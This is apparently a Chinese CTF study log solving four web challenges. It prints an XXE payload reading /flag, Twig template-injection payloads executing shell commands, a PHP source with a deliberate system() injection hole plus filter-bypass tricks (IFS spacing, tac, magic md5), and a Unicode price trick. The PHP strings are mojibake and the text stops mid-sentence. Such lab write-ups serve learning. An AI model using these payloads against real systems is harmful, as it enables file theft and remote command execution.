4.6-4.13
[NCTF2019]Fake XML cookbook
进入题目环境是一个登录页面,一开始没发现什么线索,用burpsuite抓包看一下。
POST /doLogin.php HTTP/1.1
Host: 3f6d7eae-38b1-4918-b14d-28cde979dca0.node4.buuoj.cn:81
<user><username>1</username><password>1</password></user>
是这样的形式,看题目提到了XML,就搜索了一下有关漏洞,有一个XXE(XML外部实体注入)
仿照样例的格式,尝试从根目录下读出flag
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///flag"> ]>
<user><username>&xxe;</username><password>admin</password></user>
然后就直接得到了flag
[BJDCTF2020]Cookie is so stable
根据题目提示,这题肯定是cookie上出了问题
抓个包看一下有没有什么异常
HTTP/1.1 302 Found
Server: openresty
Date: Wed, 06 Apr 2022 11:51:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Location: flag.php
Pragma: no-cache
Set-Cookie: user=admin; expires=Wed, 06-Apr-2022 12:21:17 GMT; Max-Age=1800
X-Powered-By: PHP/7.3.13
Content-Length: 2835
看到set-cookie里有一项user。
我们尝试构造cookie看看是不是直接将cookie填进了回显中。果然直接填到了html里。
这里就明显有XSS漏洞,不过试了很久发现不好利用。。
搜到题解,原来是模板注入,随便截了一段判断模板语言的测试语句
然后这题是 Twig 模块,用到的payload是:(这一段是直接抄的题解,,)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
emmmm。完全不会。。也不太懂原理。查到的所有题解都没有解释这一段语句所以根本就没法学啊!!!!记住好了。。
[WUSTCTF2020]朴实无华
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
level1:利用php的类型转化漏洞,字符串转为数字时会把非数字出现处之后的地方全部丢掉。
num=2e4时,intval($num)=2,而intval($num+1)=20001即可满足条件
level2:md5弱类型比较,常见的姿势了
找到一个0e开头的字符串,它的md5值也是0e开头,即可试语句变为0=0
0e215962017
level3:绕过一个空格,然后不能用cat就用tac,绕过空格方法如下
先用ls读取文件名。再尝试读flag
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
最终payload:
fl4g.php?num=2e4&md5=0e215962017&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[ASIS 2019]Unicorn shop
进入环境,买独角兽,随便输了物品id不填price会报错
Traceback (most recent call last):
File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1541, in _execute
result = method(*self.path_args, **self.path_kwargs)
File "/app/sshop/views/Shop.py", line 34, in post
unicodedata.numeric(price)
TypeError: need a single Unicode character as parameter
提示是要填一个unicode字符。
测了物品id,1,2,3,都是错误的物品,就只有4了。
查一个大数unicode,别的语言的大数,
https://www.compart.com/en/unicode/search?q=thousand#characters
ↇ:代表50000,直接复制粘贴进去。、
最终payload:4,ↇ
或者用